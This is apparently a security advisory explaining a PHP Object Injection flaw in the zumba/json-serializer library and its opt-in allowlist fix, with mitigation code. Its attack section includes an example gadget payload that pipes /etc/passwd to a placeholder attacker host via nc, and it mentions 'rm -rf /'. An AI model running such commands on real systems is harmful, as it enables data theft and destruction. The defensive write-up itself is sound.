Feb 21, 2026·5 min read·11 visits
Zumba Json Serializer <= 3.2.2 blindly trusts the `@type` field in JSON input, allowing attackers to instantiate any PHP class. If a 'gadget' class exists in the application, this leads to RCE. The fix in 3.2.3 introduces an allowlist, but it defaults to 'allow all' for backward compatibility, leaving updated applications vulnerable unless explicitly configured.
A high-severity PHP Object Injection vulnerability exists in the Zumba Json Serializer library. By trusting user-controlled type hints in JSON payloads, the library allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE) via magic method gadget chains. While a patch exists, it requires manual configuration to be effective.
We all love JSON. It’s simple, text-based, and usually dumb as a rock. That’s a good thing. But sometimes, developers want their JSON to be smart. They want it to remember that { "foo": "bar" } isn't just an array, but an instance of UserPreferenceStrategy. Enter zumba/json-serializer, a PHP library designed to serialize complex objects into JSON and resurrect them later.
To pull off this necromancy, the library embeds metadata—specifically a @type field—into the JSON. When the library parses this JSON, it looks at that field and says, "Aha! I need to spin up a new instance of this class." It’s a convenient feature for developers who want to persist state without writing boilerplate code.
Unfortunately, this convenience is also a loaded gun. In the security world, we call this PHP Object Injection (POI). If you let an attacker tell your application what class to instantiate, you aren't just parsing data anymore; you're handing over the keys to the runtime environment. It’s like letting a stranger order off a secret menu where one of the items is "burn the restaurant down."
The root cause, identified as CWE-502 (Deserialization of Untrusted Data), lives in the unserializeObject method of the JsonSerializer class. Prior to version 3.2.3, the library operated on a policy of absolute trust. It would take the string value provided in the @type key and feed it directly into PHP's reflection mechanisms to instantiate the object.
There were no guardrails. No bouncers at the door checking the guest list. If the JSON payload contained "@type": "GuzzleHttp\\Client", the library would happily try to create a Guzzle client. If it contained "@type": "Monolog\\Handler\\StreamHandler", it would create that too.
The logic was straightforward but fatal: read the type, load the class, populate properties. The library assumed that the JSON only came from trusted sources—a classic fallacy in web development. In reality, if this library is used to process API requests, cookies, or queued jobs, that JSON is coming from the wild, untamed internet.
The fix arrived in version 3.2.3 via commit bf26227879adefce75eb9651040d8982be97b881. The maintainers introduced an allowlist mechanism. Instead of instantiating whatever the JSON demands, the developer can now define exactly which classes are permitted.
Here is the critical logic added to unserializeObject:
// The Fix: Check against an allowlist
if ($this->allowedClasses !== null && !in_array($className, $this->allowedClasses, true)) {
throw new JsonSerializerException(
'Class ' . $className . ' is not allowed for deserialization. ' .
'Use setAllowedClasses() to configure the list of allowed classes.'
);
}> [!WARNING]
> Here is the catch: To maintain backward compatibility, the $allowedClasses property defaults to null. In this library's logic, null means "allow everything."
This is a classic "opt-in security" pattern. Simply running composer update does not fix the vulnerability. The code is patched, but the door is still unlocked until you explicitly call setAllowedClasses([...]). It’s a patch that acts more like a toolbox than a shield.
To turn this instantiation primitive into Remote Code Execution, we need a Gadget Chain. In PHP, this relies on "Magic Methods"—specifically __wakeup() (called on creation) and __destruct() (called when the object is destroyed/garbage collected).
An attacker constructs a JSON payload that references a class known to exist in the application's dependencies (e.g., a vulnerable version of Monolog or a framework component). This class usually has a destructor that performs unsafe operations on its properties, like deleting a file or executing a shell command.
Here is the attack flow:
zumba/json-serializer.composer.json or error logs to find available classes with dangerous destructors.@type to the gadget class and populating properties with malicious commands.rm -rf /.{
"@type": "VulnerableLib\\DestructiveClass",
"command": "cat /etc/passwd | nc attacker.com 1337"
}If you are using zumba/json-serializer, you have two tasks. First, update the library. Second, change your code. If you skip step two, you are still vulnerable.
Step 1: Update to version 3.2.3.
Step 2: Configure the allowlist. You must explicitly tell the serializer which classes are safe to hydrate. If you only expect User objects, only allow User objects.
$serializer = new Zumba\JsonSerializer\JsonSerializer();
// LOCK IT DOWN
$serializer->setAllowedClasses([
MyApp\Models\User::class,
MyApp\Models\Product::class,
stdClass::class // Don't forget stdClass if you use it!
]);
$user = $serializer->unserialize($json);If you cannot define an allowlist because your data is too dynamic, you are likely using the wrong tool for the job. Consider using standard json_decode($json, true) which returns arrays and is immune to object injection attacks.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
json-serializer zumba | < 3.2.3 | 3.2.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| CVSS Score | 8.1 (High) |
| Attack Vector | Network |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept (PoC) Available |
| Vulnerability Type | PHP Object Injection |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.